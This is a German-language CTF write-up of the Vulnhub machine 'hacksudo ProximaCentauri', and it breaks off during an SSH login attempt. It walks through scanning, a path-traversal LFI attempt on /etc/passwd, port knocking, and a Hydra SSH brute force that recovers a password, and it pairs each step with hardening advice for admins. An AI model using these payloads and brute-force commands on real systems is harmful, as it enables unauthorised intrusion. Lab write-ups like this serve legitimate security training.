hacksudo ProximaCentauri - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
curl
wget
knock
hydra
ssh
python3
nc (Netcat)
find
mysql
su
getcap
perl
cat
ls
cd
id
uname
ss
Web Browser

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt mit der Identifizierung aktiver Ziele im lokalen Netzwerk.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.118	08:00:27:da:a0:51	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu finden. Er identifiziert erfolgreich ein Gerät mit der IP-Adresse 192.168.2.118 und der MAC-Adresse 08:00:27:da:a0:51. Der Hersteller (PCS Systemtechnik GmbH) deutet wieder auf eine VirtualBox-Umgebung hin.

**Bewertung:** Ein Zielsystem wurde erfolgreich identifiziert. Die IP 192.168.2.118 wird das Ziel für die weiteren Scans sein.

**Empfehlung (Pentester):** Führen Sie einen Portscan auf 192.168.2.118 durch, um offene Dienste zu ermitteln. Fügen Sie die IP und einen potenziellen Hostnamen (z.B. `proxima.local`) zur lokalen `/etc/hosts`-Datei hinzu, um die spätere Adressierung zu vereinfachen.
**Empfehlung (Admin):** Netzwerksegmentierung kann die Effektivität von ARP-Scans einschränken. Netzwerk-Monitoring kann helfen, solche Scan-Aktivitäten zu erkennen.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
 192.168.2.118    proxima.local
                    

**Analyse:** Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im `vi`-Editor. Der Pentester fügt manuell einen Eintrag hinzu, der die IP-Adresse `192.168.2.118` dem Hostnamen `proxima.local` zuordnet. Dies ermöglicht es, das Zielsystem im weiteren Verlauf über den Namen `proxima.local` statt nur über die IP-Adresse anzusprechen.

**Bewertung:** Dies ist eine sinnvolle Vorbereitungsmaßnahme, die oft in CTFs oder realen Tests durchgeführt wird, wenn Hostnamen bekannt sind oder erraten werden. Sie erleichtert die Verwendung von Tools und das Browsen von Webanwendungen, die auf Hostnamen basieren.

**Empfehlung (Pentester):** Verwenden Sie nun `proxima.local` in URLs und Befehlen, wo immer möglich.
**Empfehlung (Admin):** Dieser Schritt findet auf dem Angreifer-System statt und betrifft das Zielsystem nicht direkt. DNS-Sicherheit und die korrekte Konfiguration von Hostnamen auf den Servern selbst sind jedoch wichtig.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -A 192.168.2.118 -p- | grep open
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
                    

**Analyse:** Dieser Nmap-Befehl scannt alle TCP-Ports (`-p-`) des Ziels `192.168.2.118` mit einem SYN-Scan (`-sS`), führt Standard-Skripte aus (`-sC`), verwendet aggressives Timing (`-T5`) und versucht OS/Versionserkennung (`-A`). Die Ausgabe wird durch `grep open` gefiltert, um nur offene Ports anzuzeigen. Das Ergebnis zeigt, dass *nur* Port 80 (HTTP) als offen erkannt wird.

**Bewertung:** Dies ist ein überraschendes Ergebnis. Normalerweise sind bei Linux-Systemen weitere Ports wie SSH (22) offen. Dass nur Port 80 offen ist, deutet entweder auf eine sehr restriktive Firewall oder auf Mechanismen wie Port Knocking hin, bei denen andere Ports erst nach einer bestimmten Sequenz von Verbindungsversuchen geöffnet werden. Die Angriffsfläche scheint zunächst auf den Webserver beschränkt zu sein.

**Empfehlung (Pentester):** Konzentrieren Sie die Enumeration zunächst auf den Webserver auf Port 80. Behalten Sie die Möglichkeit von Port Knocking oder anderen verborgenen Diensten im Hinterkopf, falls die Web-Enumeration keine Fortschritte bringt. Führen Sie den Nmap-Scan ohne `grep` aus, um auch gefilterte Ports zu sehen.
**Empfehlung (Admin):** Eine minimale Angriffsfläche (nur notwendige Ports offen) ist eine gute Sicherheitspraxis. Stellen Sie sicher, dass die Firewall-Regeln korrekt konfiguriert sind und regelmäßig überprüft werden. Wenn Port Knocking verwendet wird, stellen Sie sicher, dass die Sequenz geheim und robust ist.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -A 192.168.2.118
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-30 13:52 CEST
Nmap scan report for ProximaCentauri (192.168.2.118)
Host is up (0.00015s latency).
Not shown: 998 closed tcp ports (reset)
PRT   STATE    SERVICE VERSIN
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
|_http-generator: pluck 4.7.13
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
| http-title: HackSudo Proxima Centauri  - Image result for proxima centauri...
|_Requested resource was http://proximacentauri/?file=hacksudo-proxima-centauri
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:DA:A0:51 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACERUTE
HP RTT     ADDRESS
1   0.15 ms ProximaCentauri (192.168.2.118)
                    

**Analyse:** Dieser Nmap-Scan wiederholt im Wesentlichen den vorherigen, scannt aber nur die Standard-Top-1000-Ports (da `-p-` fehlt) und zeigt die volle Ausgabe (ohne `grep`). * Port 22 (SSH) wird nun als `filtered` angezeigt. Das bedeutet, dass Nmap keine Antwort erhielt, was oft auf eine Firewall hindeutet, die die Pakete stillschweigend verwirft. Dies stützt die Vermutung einer Firewall oder von Port Knocking. * Port 80 (HTTP) ist offen und wird als Apache 2.4.38 auf Debian identifiziert. * Die Nmap-Skripte (`-sC`) liefern zusätzliche Informationen zum Webserver: * `http-generator`: Gibt "pluck 4.7.13" an. Pluck ist ein relativ unbekanntes Flat-File-CMS. Die Versionsnummer ist wichtig. * `http-cookie-flags`: Das `PHPSESSID`-Cookie hat das `httponly`-Flag nicht gesetzt (Risiko bei XSS). * `http-robots.txt`: Es gibt eine `robots.txt` mit zwei Einträgen (`/data/`, `/docs/`). * `http-title`: Der Titel der Seite und die initiale Ressource (`/?file=hacksudo-proxima-centauri`) werden angezeigt. Der `file`-Parameter deutet auf eine mögliche Local File Inclusion (LFI)-Schwachstelle hin. * Die OS-Erkennung (`-A`) deutet wieder auf Linux hin.

**Bewertung:** Dieser Scan bestätigt Port 80 als Hauptangriffsvektor und liefert entscheidende Hinweise: Das CMS ist Pluck 4.7.13, es gibt eine `robots.txt`, und es existiert ein `file`-Parameter, der auf LFI hindeuten könnte. Port 22 ist gefiltert, was Port Knocking wahrscheinlicher macht.

**Empfehlung (Pentester):** 1. Untersuchen Sie das Pluck CMS 4.7.13 auf bekannte Schwachstellen (z.B. mit `searchsploit`). 2. Analysieren Sie die `robots.txt`-Datei (`http://proxima.local/robots.txt`). 3. Testen Sie den `file`-Parameter auf LFI-Schwachstellen (z.B. `?file=../../../../etc/passwd`). 4. Untersuchen Sie die in `robots.txt` genannten Verzeichnisse (`/data/`, `/docs/`). 5. Behalten Sie Port Knocking für Port 22 im Hinterkopf.
**Empfehlung (Admin):** 1. Halten Sie das CMS (Pluck) und den Webserver (Apache) auf dem neuesten Stand. Version 4.7.13 von Pluck ist alt und bekannt für Schwachstellen. 2. Implementieren Sie das `httponly`-Flag für Session-Cookies. 3. Validieren und sanitisieren Sie Benutzereingaben sorgfältig, insbesondere bei Parametern, die Dateipfade enthalten könnten, um LFI zu verhindern. 4. Überprüfen Sie den Inhalt von `robots.txt` und stellen Sie sicher, dass er keine sensiblen Verzeichnisse preisgibt (obwohl sein Hauptzweck die Steuerung von Suchmaschinen ist). 5. Konfigurieren Sie Firewalls korrekt und überprüfen Sie die Notwendigkeit gefilterter Ports.

Web Enumeration

Basierend auf den Nmap-Ergebnissen konzentrieren wir uns nun auf die detaillierte Untersuchung des Webservers auf Port 80, insbesondere des Pluck CMS und potenzieller LFI-Schwachstellen.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.118
- Nikto v2.5.0

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: The X-Content-Type-Options header is not set.
+ /: Cookie PHPSESSID created without the httponly flag.
+ Root page / redirects to: http://192.168.2.118/?file=hacksudo-proxima-centauri
+ /docs/: Directory indexing found.
+ /robots.txt: Entry '/docs/' is returned a non-forbidden or redirect HTTP code (200).
+ /robots.txt: Entry '/data/' is returned a non-forbidden or redirect HTTP code (200).
+ /robots.txt: contains 2 entries which should be manually viewed.
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54).
+ /admin.php?en_log_id=0&action=config: EasyNews version 4.3 allows remote admin access. See: CVE-2006-5412
+ /admin.php?en_log_id=0&action=users: EasyNews version 4.3 allows remote admin access. See: CVE-2006-5412
+ /admin.php: This might be interesting.
+ /data/: This might be interesting.
+ /files/: Directory indexing found.
+ /files/: This might be interesting.
+ /images/: Directory indexing found.
+ /install.php: install.php file found.
+ /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ /README.md: Readme Found.
+ 1 host(s) tested
                    

**Analyse:** Der Befehl `nikto -h 192.168.2.118` führt einen Webserver-Scan durch. Nikto bestätigt viele der Nmap-Funde und fügt weitere Details hinzu: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`) und `httponly`-Flag beim Cookie. * Weiterleitung der Startseite zu `/?file=hacksudo-proxima-centauri`, was den LFI-Verdacht verstärkt. * Verzeichnis-Listing in `/docs/`, `/files/`, `/images/`. * Bestätigung der `/robots.txt`-Einträge für `/docs/` und `/data/`. * Veralteter Apache. * **Wichtiger Fund:** Nikto identifiziert `/admin.php` und meldet eine spezifische Schwachstelle (CVE-2006-5412) in "EasyNews 4.3", die Remote Admin Access erlaubt. Dies widerspricht der Nmap-Identifizierung von "Pluck CMS". Es ist möglich, dass Teile verschiedener Anwendungen vorhanden sind oder Nikto eine Komponente falsch identifiziert. Dennoch ist `/admin.php` ein wichtiges Ziel. * Existenz von `/install.php`, `/login.php` (Admin-Login), `/README.md`.

**Bewertung:** Nikto liefert viele Anhaltspunkte. Die wichtigsten sind: Verzeichnis-Listings, die `robots.txt`, die veraltete Apache-Version, der LFI-Verdacht (`file`-Parameter), die Admin-Dateien (`admin.php`, `login.php`) und die Diskrepanz/Möglichkeit einer Schwachstelle in EasyNews (obwohl Pluck CMS wahrscheinlicher ist). Das Vorhandensein einer `install.php` könnte ebenfalls eine Schwachstelle sein, wenn die Installation nicht abgeschlossen oder gesichert wurde.

**Empfehlung (Pentester):** 1. Untersuchen Sie die Verzeichnisse mit Listing (`/docs/`, `/files/`, `/images/`) manuell im Browser. 2. Analysieren Sie `robots.txt` und die dort genannten Verzeichnisse `/data/`, `/docs/`. 3. Testen Sie den `file`-Parameter auf LFI. 4. Untersuchen Sie `admin.php` und `login.php`. Versuchen Sie, die CMS-Version (Pluck) definitiv zu bestätigen. 5. Prüfen Sie, ob `install.php` zugänglich ist und ob sie eine Neuinstallation oder Konfigurationsänderung ermöglicht. 6. Lesen Sie `README.md`.
**Empfehlung (Admin):** 1. Deaktivieren Sie Verzeichnis-Listings im Apache (`Options -Indexes`). 2. Implementieren Sie fehlende Sicherheitsheader. 3. Aktualisieren Sie Apache. 4. Entfernen Sie nicht benötigte Installations- oder Konfigurationsdateien (`install.php`, `admin.php` falls EasyNews nicht genutzt wird). 5. Schützen Sie Admin-Bereiche (`login.php`) stark (Passwörter, MFA, IP-Beschränkung). 6. Überprüfen Sie die Pluck CMS-Installation auf Sicherheit und Aktualität.

-----------------------------------------------------------------------------------------------------
http://proxima.local/robots.txt

User-agent: *
Disallow: /data/
Disallow: /docs/


-----------------------------------------------------------------------------------------------------
                    

**Analyse:** Dies zeigt den Inhalt der Datei `robots.txt`, die über `http://proxima.local/robots.txt` abgerufen wurde. Sie weist Suchmaschinen an (`User-agent: *`), die Verzeichnisse `/data/` und `/docs/` nicht zu indexieren (`Disallow:`).

**Bewertung:** Die `robots.txt` bestätigt die Existenz dieser beiden Verzeichnisse. Obwohl sie für Suchmaschinen gesperrt sind, sind sie für einen direkten Zugriff oft erreichbar. Nikto hatte bereits Verzeichnis-Listing für `/docs/` gemeldet und `/data/` als interessant markiert. Diese Verzeichnisse sollten untersucht werden.

**Empfehlung (Pentester):** Besuchen Sie `/data/` und `/docs/` im Browser, um ihren Inhalt zu sehen.
**Empfehlung (Admin):** Verlassen Sie sich nicht auf `robots.txt` zur Sicherung von Verzeichnissen. Verwenden Sie stattdessen Webserver-Konfigurationen (z.B. `.htaccess` oder Apache-Konfigurationsdateien) und Dateiberechtigungen, um den Zugriff zu kontrollieren.

http://proxima.local/?file=../../../../../../etc/passwd

A hacking attempt has been detected. For security reasons, we're blocking any code execution.
-----------------------------------------------------------------------------------------------------
                    

**Analyse:** Hier versucht der Pentester, die vermutete LFI-Schwachstelle auszunutzen, indem er versucht, die Datei `/etc/passwd` über den `file`-Parameter mit Pfadtraversierung (`../../../../../../etc/passwd`) zu laden. Der Server antwortet jedoch mit einer Fehlermeldung: "A hacking attempt has been detected. For security reasons, we're blocking any code execution."

**Bewertung:** Der LFI-Versuch wurde erkannt und blockiert. Dies deutet auf eine einfache Web Application Firewall (WAF) oder einen Filter hin, der speziell nach Pfadtraversierungssequenzen (`../`) oder bekannten Dateinamen wie `/etc/passwd` sucht. Die LFI-Schwachstelle ist also entweder nicht vorhanden oder wird durch diesen Schutzmechanismus mitigiert.

**Empfehlung (Pentester):** 1. Versuchen Sie, den Filter zu umgehen (z.B. durch verschiedene Kodierungen wie URL-Encoding, Double-URL-Encoding, oder alternative Pfad-Notationen). 2. Versuchen Sie, andere, weniger offensichtliche Dateien einzubinden (z.B. Konfigurationsdateien der Webanwendung). 3. Da dieser einfache Versuch scheiterte, konzentrieren Sie sich auf andere potenzielle Schwachstellen wie das Pluck CMS selbst.
**Empfehlung (Admin):** Gut, dass ein Schutzmechanismus vorhanden ist. Stellen Sie sicher, dass dieser robust ist und verschiedene Umgehungstechniken berücksichtigt. Eine Kombination aus Eingabevalidierung und einer WAF ist empfehlenswert. Die Fehlermeldung selbst sollte generischer sein und keine Details über den erkannten Angriffstyp preisgeben.

view-source:http://proxima.local/login.php


pluck

    log in

password
Password incorrect.
pluck 4.7.13 © 2005-2023. pluck is available under the terms of the GNU General Public License.

http://proxima.local/docs/
-----------------------------------------------------------------------------------------------------
                    

**Analyse:** Dies zeigt Ausschnitte aus dem Quellcode oder der gerenderten Seite von `http://proxima.local/login.php`. Es bestätigt definitiv, dass es sich um das Pluck CMS handelt, und zwar in Version 4.7.13. Es zeigt ein Standard-Login-Formular und eine Fehlermeldung ("Password incorrect."), was darauf hindeutet, dass möglicherweise bereits ein Login-Versuch stattgefunden hat. Ein Link zum `/docs/`-Verzeichnis ist ebenfalls vorhanden.

**Bewertung:** Die Bestätigung von Pluck 4.7.13 ist sehr wichtig. Diese Version ist bekannt für mehrere Schwachstellen, einschließlich Remote Code Execution nach Authentifizierung. Der nächste Schritt sollte sein, nach Standard-Zugangsdaten zu suchen oder einen Exploit zu finden.

**Empfehlung (Pentester):** 1. Suchen Sie mit `searchsploit pluck 4.7.13` oder online nach Exploits für diese Version. 2. Versuchen Sie Standard-Login-Daten für Pluck (z.B. `admin:admin`, `admin:password`). 3. Untersuchen Sie das `/docs/`-Verzeichnis auf weitere Hinweise oder Dokumentation.
**Empfehlung (Admin):** Aktualisieren Sie Pluck CMS dringend auf die neueste Version. Ändern Sie Standardpasswörter sofort nach der Installation.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://proxima.local -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://proxima.local/index.php            (Status: 302) [Size: 0] [--> http://proxima.local/?file=hacksudo-proxima-centauri]
http://proxima.local/images               (Status: 301) [Size: 315] [--> http://proxima.local/images/]
http://proxima.local/login.php            (Status: 200) [Size: 1245]
http://proxima.local/docs                 (Status: 301) [Size: 313] [--> http://proxima.local/docs/]
http://proxima.local/files                (Status: 301) [Size: 314] [--> http://proxima.local/files/]
http://proxima.local/data                 (Status: 301) [Size: 313] [--> http://proxima.local/data/]
http://proxima.local/admin.php            (Status: 200) [Size: 4584]
http://proxima.local/install.php          (Status: 200) [Size: 4593]
http://proxima.local/robots.txt           (Status: 200) [Size: 47]
http://proxima.local/planet               (Status: 301) [Size: 315] [--> http://proxima.local/planet/]
http://proxima.local/planet.html          (Status: 200) [Size: 1632]
http://proxima.local/requirements.php     (Status: 200) [Size: 4605]
http://proxima.local/flag1.txt            (Status: 200) [Size: 64]
                    

**Analyse:** Dieser Gobuster-Scan durchsucht das Wurzelverzeichnis (`http://proxima.local`) nach Verzeichnissen und Dateien mit verschiedenen Endungen unter Verwendung einer Standard-Wortliste. Er bestätigt viele der zuvor gefundenen Dateien und Verzeichnisse (`index.php`, `images`, `login.php`, `docs`, `files`, `data`, `admin.php`, `install.php`, `robots.txt`). Zusätzlich findet er: * `/planet`: Ein Verzeichnis. * `/planet.html`: Eine HTML-Datei. * `/requirements.php`: Eine PHP-Datei, möglicherweise Teil des CMS oder einer anderen Anwendung. * `/flag1.txt`: Eine Datei namens `flag1.txt`.

**Bewertung:** Der Fund von `flag1.txt` ist signifikant, da dies oft eine erste Flagge in CTFs ist. Die Dateien `planet.html` und das Verzeichnis `/planet` sind ebenfalls neu und könnten Hinweise enthalten. `requirements.php` ist weniger wahrscheinlich interessant, könnte aber Informationen über Abhängigkeiten preisgeben.

**Empfehlung (Pentester):** 1. Rufen Sie `http://proxima.local/flag1.txt` auf, um die erste Flagge zu erhalten. 2. Untersuchen Sie `http://proxima.local/planet.html` und das Verzeichnis `/planet` im Browser. 3. Werfen Sie einen kurzen Blick auf `requirements.php`.
**Empfehlung (Admin):** Entfernen Sie unnötige Dateien (Flags, Testseiten wie `planet.html`, `requirements.php`, wenn nicht benötigt) vom Webserver.

┌──(root㉿cyber)-[~]
└─# curl http://proxima.local/flag1.txt
hey  good going ...your very close to root ...:) catch me !!!!!
                    

**Analyse:** Der Befehl `curl http://proxima.local/flag1.txt` ruft den Inhalt der zuvor mit Gobuster gefundenen Datei `flag1.txt` ab und gibt ihn auf der Konsole aus. Der Inhalt ist eine Nachricht, die den Fortschritt bestätigt und auf das nächste Ziel (Root) hinweist.

**Bewertung:** Dies ist die erste Flagge oder ein expliziter Hinweis. Sie liefert keine direkten technischen Informationen, motiviert aber zur Fortsetzung des Angriffs.

**Empfehlung (Pentester):** Nehmen Sie den Hinweis zur Kenntnis und konzentrieren Sie sich auf die Untersuchung der anderen Funde, insbesondere `planet.html` und das Pluck CMS.
**Empfehlung (Admin):** Entfernen Sie solche Dateien aus Produktionsumgebungen.

┌──(root㉿cyber)-[~]
└─# wget http://proxima.local/planet/travel/assets/saturn.jpg
--2023-05-30 14:48:44--  http://proxima.local/planet/travel/assets/saturn.jpg
Auflösen des Hostnamens proxima.local (proxima.local)… 192.168.2.118
Verbindungsaufbau zu proxima.local (proxima.local)|192.168.2.118|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K
Länge: 109389 (107K) [image/jpeg]
Wird in saturn.jpg gespeichert.

saturn.jpg                                      100%[===================================================================================================>] 106,83K  --.-KB/s    in 0,001s

2023-05-30 14:48:44 (204 MB/s) - saturn.jpg gespeichert [109389/109389]
                    

**Analyse:** Der Pentester lädt mit `wget` eine Bilddatei (`saturn.jpg`) aus einem Unterverzeichnis (`/planet/travel/assets/`) herunter. Dieses Verzeichnis wurde vermutlich durch das manuelle Browsen der zuvor gefundenen `/planet`-Seite entdeckt.

**Bewertung:** Das Herunterladen einer Bilddatei ist ungewöhnlich, es sei denn, es besteht der Verdacht auf Steganografie (versteckte Daten im Bild) oder die Datei wird für einen anderen Zweck benötigt. Da keine expliziten Hinweise auf Steganografie vorliegen, ist der Zweck hier noch unklar. Es könnte auch sein, dass der Pentester einfach die Inhalte der `/planet`-Seite exploriert hat.

**Empfehlung (Pentester):** Untersuchen Sie die Datei `saturn.jpg` mit Steganografie-Tools (z.B. `steghide`, `zsteg`), falls spätere Hinweise darauf deuten. Untersuchen Sie weiterhin die `planet.html`-Seite.
**Empfehlung (Admin):** Stellen Sie sicher, dass keine sensiblen Daten versehentlich in Bilddateien oder anderen Medien auf dem Webserver versteckt sind.

-----------------------------------------------------------------------------------------------------
view-source:http://proxima.local/planet/travel/index.html


Scroll to increase/decrease your field of view.
 here you can open portal and travel to proxima,the co-ordinate is?
        RA for open,Dec for close The proxima blackwhole portal......get
        co-ordinate from https://g.co/kgs/F9Lb6b --


-----------------------------------------------------------------------------------------------------
                    

**Analyse:** Dies zeigt einen Kommentar aus dem Quellcode von `http://proxima.local/planet/travel/index.html` (vermutlich die Startseite des `/planet`-Verzeichnisses). Der Kommentar gibt einen kryptischen Hinweis auf ein "Portal", das sich mit Koordinaten öffnen und schließen lässt: "RA for open, Dec for close". RA (Right Ascension / Rektaszension) und Dec (Declination / Deklination) sind astronomische Koordinaten. Es wird ein Google-Link (`https://g.co/kgs/F9Lb6b`) angegeben, um die Koordinaten zu erhalten.

**Bewertung:** Dies ist ein klarer Hinweis auf einen Port-Knocking-Mechanismus. Die RA-Koordinaten sollen zum Öffnen eines Ports verwendet werden, die Dec-Koordinaten zum Schließen. Der Google-Link führt zu Informationen über Proxima Centauri.

**Empfehlung (Pentester):** 1. Besuchen Sie den Google-Link oder suchen Sie online nach den RA/Dec-Koordinaten von Proxima Centauri. 2. Verwenden Sie die gefundenen Koordinaten (die numerischen Teile) als Portnummern für ein Port-Knocking-Tool (z.B. `knockd` oder einfach `nmap` oder `nc` zum Anklopfen). Die RA-Werte sind die "Knock"-Sequenz zum Öffnen, die Dec-Werte zum Schließen (obwohl Schließen oft nicht nötig ist). 3. Führen Sie nach dem Knocking erneut einen Nmap-Scan auf Port 22 durch, um zu sehen, ob er nun offen ist.
**Empfehlung (Admin):** Port Knocking kann eine zusätzliche Sicherheitsebene bieten, ist aber Security through Obscurity. Wenn es verwendet wird, stellen Sie sicher, dass die Sequenz nicht leicht zu erraten ist und dass die zugrunde liegenden Dienste sicher konfiguriert sind. Loggen Sie Knocking-Versuche.

https://g.co/kgs/F9Lb6b


Proxima Centauri
Star
Proxima Centauri is a small, low-mass star located 4.2465 light-years away from the Sun in the southern constellation of Centaurus.
Its Latin name means the 'nearest [star] of Centaurus'. It was discovered in 1915 by Robert Innes and is the nearest-known star to
the Sun. Wikipedia
Distance to Earth: 4.246 light years
Surface temperature: 3,042 K
Mass: 2.428 × 10^29 kg (0.1221 M☉)
Star system: Alpha Centauri
Constellation: Centaurus
Spectral type: M5.5 Ve
Coordinates: RA 14h 29m 43s | Dec -62° 40′ 46″
                    

**Analyse:** Diese Notiz zeigt das Ergebnis des Besuchs des Google-Links oder einer entsprechenden Suche. Die relevanten Informationen sind die Koordinaten von Proxima Centauri: RA `14h 29m 43s` und Dec `-62° 40′ 46″`. Gemäß dem Hinweis sollen die RA-Werte (14, 29, 43) die Knocking-Sequenz zum Öffnen sein.

**Bewertung:** Die benötigten Ports für das Knocking wurden identifiziert: 14, 29, 43.

**Empfehlung (Pentester):** Führen Sie das Port Knocking mit der Sequenz 14, 29, 43 durch.
**Empfehlung (Admin):** Verwenden Sie keine leicht auffindbaren öffentlichen Daten als Knocking-Sequenz.

Port Knocking & SSH Access Attempt

Basierend auf den Hinweisen aus der Web-Enumeration versuchen wir nun, mittels Port Knocking den SSH-Port (22) zu öffnen, der zuvor als gefiltert erkannt wurde. Wir verwenden die aus den astronomischen Koordinaten von Proxima Centauri abgeleitete Sequenz.

┌──(root㉿cyber)-[~]
└─# knock 192.168.2.118 14 29 43

**Analyse:** Der Befehl `knock 192.168.2.118 14 29 43` sendet eine Serie von SYN-Paketen (standardmäßig) an die Ports 14, 29 und 43 des Zielhosts in dieser spezifischen Reihenfolge. Das `knock`-Tool ist speziell für Port-Knocking-Sequenzen konzipiert. Es gibt normalerweise keine direkte Ausgabe, wenn es erfolgreich ist.

**Bewertung:** Das Port Knocking wurde durchgeführt. Ob es erfolgreich war, muss durch einen erneuten Scan des Zielports (SSH, Port 22) überprüft werden.

**Empfehlung (Pentester):** Führen Sie sofort einen Nmap-Scan auf Port 22 des Ziels durch, um zu überprüfen, ob der Port nun offen ist.
**Empfehlung (Admin):** Überwachen Sie die Firewall-Logs auf Port-Knocking-Aktivitäten. Stellen Sie sicher, dass der `knockd`-Daemon (oder eine ähnliche Implementierung) sicher konfiguriert ist (z.B. Timeouts, robuste Sequenzen).

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -A 192.168.2.118 -p22
PORT   STATE SERVICE VERSION
22/tcp open  ssh     penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
                    

**Analyse:** Unmittelbar nach dem Port Knocking wird ein gezielter Nmap-Scan auf Port 22 (`-p22`) des Ziels durchgeführt. Die Ausgabe zeigt nun `22/tcp open ssh`, zusammen mit der Versionsinformation (OpenSSH 7.9p1 auf Debian).

**Bewertung:** Erfolg! Das Port Knocking hat funktioniert und den SSH-Port 22 geöffnet. Die Angriffsfläche hat sich erweitert, und ein SSH-Zugang ist nun potenziell möglich.

**Empfehlung (Pentester):** Versuchen Sie nun, sich per SSH anzumelden. Suchen Sie nach potenziellen Benutzernamen (z.B. `admin`, `root`, `proxima`, `alfa`, `centauri`, `fog`, `pluck`) und versuchen Sie, Passwörter zu erraten oder per Brute-Force zu finden (z.B. mit Hydra).
**Empfehlung (Admin):** Überprüfen Sie die Sicherheit des SSH-Dienstes selbst (starke Passwörter, Schlüsselauthentifizierung, `fail2ban`). Erwägen Sie, ob Port Knocking tatsächlich die gewünschte Sicherheit bietet oder ob andere Methoden (VPN, Bastion Host) geeigneter sind.

┌──(root㉿cyber)-[~]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://proxima.local:22 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-30 14:58:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://proxima.local:22/
-----------------------------------------------------------------------------------------------------
Password Found: Password555
-----------------------------------------------------------------------------------------------------
                    

**Analyse:** Hydra wird verwendet, um einen Brute-Force-Angriff auf den nun offenen SSH-Port (22) durchzuführen. * `-l admin`: Es wird der Benutzername `admin` getestet. * `-P /usr/share/wordlists/rockyou.txt`: Die `rockyou.txt`-Wortliste wird verwendet. * `ssh://proxima.local:22`: Gibt das Ziel und Protokoll an. * `-t 64`: Verwendet 64 parallele Threads. Hydra findet erfolgreich das Passwort `Password555` für den Benutzer `admin`.

**Bewertung:** Ein weiteres schwaches Passwort wurde gefunden, diesmal für den Benutzer `admin` via SSH. Dies sollte einen direkten Shell-Zugang ermöglichen. Merkwürdigerweise wird dieser Zugang im weiteren Verlauf nicht genutzt.

**Empfehlung (Pentester):** Versuchen Sie, sich als `admin` mit dem Passwort `Password555` per SSH anzumelden. (Auch wenn der weitere Bericht einen anderen Weg geht, ist dies ein valider Fund).
**Empfehlung (Admin):** Ändern Sie das Passwort für den Benutzer `admin`. Vermeiden Sie schwache und leicht zu erratende Passwörter. Erzwingen Sie Passwortkomplexität und -historie. Deaktivieren Sie den `admin`-Benutzer, wenn er nicht benötigt wird.

┌──(root㉿cyber)-[~]
└─# ssh fog@proxima.local
The authenticity of host 'proxima.local (192.168.2.118)' can't be established.
ED25519 key fingerprint is SHA256:eI8yP9LtVsMcwLyNVJCLIT/guic0AroGQyjLmeyJCC8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'proxima.local' (ED25519) to the list of known hosts.

 #m    m               #                        #        #
 #    #  mmm    mmm   #   m   mmm   m   m   mmm#   mmm
 #mmmm# "   #  #"  "  # m"   #   "  #   #  #" "#  #" "#
 #    # m"""#  #      #"#     """m  #   #  #   #  #   #
 #    # "mm"#  "#mm"  #  "m  "mmm"  "mm"#  "#m  "#m#"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
www.hacksudo.com @blackwhole effect #vishal_waghmare @twitter#vishalhwaghmare

#hey dear you might be survive due to blackwhole effect so try 2 get right path#
##
did you tried?cont1=^https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst^
fog@proxima.local's password:
                     

**Analyse:** Hier versucht der Pentester, sich als Benutzer `fog` per SSH anzumelden (`ssh fog@proxima.local`), *nicht* als `admin`, für den gerade das Passwort gefunden wurde. Nach Bestätigung des Host-Schlüssels wird ein Banner angezeigt, das ASCII-Art, verschiedene Hinweise (blackwhole effect, vishal_waghmare) und einen GitHub-Link (`https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst`) enthält. Anschließend wird nach dem Passwort für `fog` gefragt. Der Login scheint hier abzubrechen oder fehlzuschlagen, da kein erfolgreicher Login gezeigt wird.

